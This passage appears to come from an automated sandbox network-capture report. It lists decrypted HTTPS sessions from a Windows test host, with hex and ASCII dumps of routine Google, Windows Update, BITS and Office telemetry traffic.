2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	142.250.185.238	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:11 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-10 18:44:11 UTC	904	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 32 36 34 32 34 38 37 34 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731264248742",null,null,null,
2024-11-10 18:44:11 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=JfTTbI9ZE8Q5cfcj9i2CA0ErGZbVJPomezMf16y7gb-jX0viJ6TvEf4PhUT6T6lZc0GVjSVSeiGFs1V08pU4qARE7YO3F6ZmW9KFgQ20AzXCbzJ-u6yOTMy7rWg-_LKTgYu2KFVWQTdflJcCPaun42Z1CBic2YbFmMW90zpjfwXphfr_hYc; expires=Mon, 12-May-2025 18:44:11 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sun, 10 Nov 2024 18:44:11 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sun, 10 Nov 2024 18:44:11 GMT Connection: close Transfer-Encoding: chunked
2024-11-10 18:44:11 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-10 18:44:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-10 18:44:12 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=79267 Date: Sun, 10 Nov 2024 18:44:11 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:12 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-10 18:44:13 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=79289 Date: Sun, 10 Nov 2024 18:44:13 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-10 18:44:13 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N7EYgFsUA+ynnuA&MD=BEFM5bt6 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-10 18:44:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 75cede20-78a6-4f00-92ce-a67b6cf9dcba MS-RequestId: 2bdb94d2-9f8b-41d9-a2e8-e004f5c550af MS-CV: 3ld/Q6iHQE2+cM5h.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 10 Nov 2024 18:44:14 GMT Connection: close Content-Length: 24490
2024-11-10 18:44:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-10 18:44:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49763	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:53 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N7EYgFsUA+ynnuA&MD=BEFM5bt6 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-10 18:44:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 86ba3690-76b3-4e31-9c0c-b644a574ba93 MS-RequestId: 518c595d-5150-4d8f-9ccf-2382974638e1 MS-CV: kLXQ80VCiUCQOa6T.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 10 Nov 2024 18:44:52 GMT Connection: close Content-Length: 30005
2024-11-10 18:44:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-10 18:44:53 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:55 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 09 Nov 2024 04:53:41 GMT ETag: "0x8DD007A7B54DE47" x-ms-request-id: 83857955-501e-0064-54c5-321f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184455Z-16547b76f7f9bs6dhC1DFWt3rg0000000cxg00000000hq0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:55 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 